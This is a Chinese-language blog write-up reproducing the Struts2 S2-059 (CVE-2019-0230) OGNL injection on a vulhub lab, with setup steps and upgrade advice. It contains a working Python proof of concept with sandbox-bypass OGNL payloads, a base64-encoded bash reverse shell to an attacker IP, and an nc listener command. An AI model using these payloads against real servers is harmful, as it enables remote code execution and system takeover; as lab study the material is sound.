这篇文章给大家介绍怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
2020年,struts2爆出了s2-059预警,最近又出现了s2-061,S2-061和S2-059的OGNL表达执行触发方式一样。S2-059的修复方式为只修复了沙盒绕过并没有修复OGNL表达式执行点,因为这个表达式执行触发条件过于苛刻,而S2-061再次绕过了S2-059的沙盒。在这里我用s2-059进行测试。
1.简介
Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序,它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。
2.漏洞概述
2020年08月13日,Apache官方发布了Struts2远程代码执行漏洞的风险通告,该漏洞编号为CVE-2019-0230,漏洞等级:高危,漏洞评分:8.5
漏洞产生的主要原因是因为Apache Struts框架在强制执行时,会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。
3.影响版本
Apache Struts2:2.0.0-2.5.20
4.环境搭建
4.1本次漏洞环境使用vulhub快速搭建,vulhub下载地址如下:
https://github.com/vulhub/vulhub
将vulhub-master.zip解压后复制到kali里。
cd vulhub-master/
cd struts/
cd s2-059
4.2使用docker-compose快速构建靶场环境。
docker-compose build
docker-compose up -d
4.3启动完成后在浏览器访问http://ip:8080/ 就可以看到测试界面。
5.漏洞复现
5.1在浏览器访问http://ip:8080/?id=%25{2*5},可以发现执行的2*5成功被解析了,会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析。
5.2使用poc来反弹shell,反弹shell的payload需要使用base64编码。
bash -i >& /dev/tcp/192.168.169.130/6666 0>&1
base64编码网址:
http://www.jackson-t.ca/runtime-exec-payloads.html
5.3kali里执行nc -lvvp 6666进行监听。
5.4将payload修改为自己的payload后复制到文本里,重命名为1.py。利用python运行。
import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2OS4xMzAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'))}" } res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)
5.5反弹shell
6.修复建议
6.1升级到Struts 2.5.22或更高版本。
6.2开启ONGL表达式注入保护措施。
关于怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
原创文章,作者:奋斗,如若转载,请注明出处:https://blog.ytso.com/220508.html